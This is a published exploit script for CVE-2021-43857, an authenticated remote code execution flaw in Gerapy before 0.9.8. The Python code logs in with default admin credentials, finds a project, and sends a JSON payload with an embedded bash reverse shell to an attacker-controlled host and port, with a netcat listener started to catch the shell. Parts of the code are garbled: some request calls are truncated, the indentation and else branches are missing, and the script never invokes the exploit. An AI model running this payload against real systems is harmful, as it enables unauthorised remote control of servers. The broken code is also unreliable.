Authored by Jeremiasz Pluta

Gerapy version 0.9.7 suffers from a remote code execution vulnerability.

advisories | CVE-2021-43857

# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage:
# Version: All versions of Gerapy prior to 0.9.8
# CVE: CVE-2021-43857
# Tested on: Gerapy 0.9.6

# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.

import sys
import re
import argparse
import pyfiglet
import requests
import time
import json
import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43857")
print('Exploit for CVE-2021-43857')
print('For: Gerapy < 0.9.8')

login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED

class Exploit:

def __init__(self, target_ip, target_port, localhost, localport):
self.target_ip = target_ip
self.target_port = target_port
self.localhost = localhost
self.localport = localport

def exploitation(self):
payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""

#Login to the app (getting auth token)
url = "http://" + target_ip + ":" + target_port
r = requests.Session()
print("[*] Resolving URL...")
r1 = r.get(url)
print("[*] Logging in to application...")
r2 = + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)
if (r2.status_code == 200):
print('[*] Login successful! Proceeding...')
print('[*] Something went wrong!')

#Create a header out of auth token (yep, it's bad as it looks)
dict = json.loads(r2.text)
temp_token = 'Token '
temp_token2 = json.dumps(dict['token']).strip('"')
auth_token = {}
auth_token['Authorization'] = temp_token + temp_token2

#Get the project list
print("[*] Getting the project list")
r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)

if (r3.status_code != 200):
print("[!] Something went wrong! Maybe the token is corrupted?")

#Parse the project name for a request (yep, it's worse than earlier)
dict = r3.text # [{'name': 'test'}]
dict2 = json.dumps(dict)
dict3 = json.loads(dict2)
dict3 = json.loads(dict3)
name = dict3[0]['name']
print("[*] Found project: " + name)

#use the id to check the project
print("[*] Getting the ID of the project to build the URL")
r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)
if (r4.status_code != 200):
print("[*] Something went wrong! I can't reach the found project!")

#format the json to dict
dict = r4.text
dict2 = json.dumps(dict)
dict3 = json.loads(dict2)
dict3 = json.loads(dict3)
id = dict3['id']
print("[*] Found ID of the project: ", id)

#netcat listener
print("[*] Setting up a netcat listener")
listener = subprocess.Popen(["nc", "-nvlp", self.localport])

#exec the payload
print("[*] Executing reverse shell payload")
print("[*] Watchout for shell! :)")
r5 = + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)

if (r5.status_code == 200):
print("[*] It worked!")
print("[!] Something went wrong!")

def get_args():
parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')
parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')
args = parser.parse_args()
return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)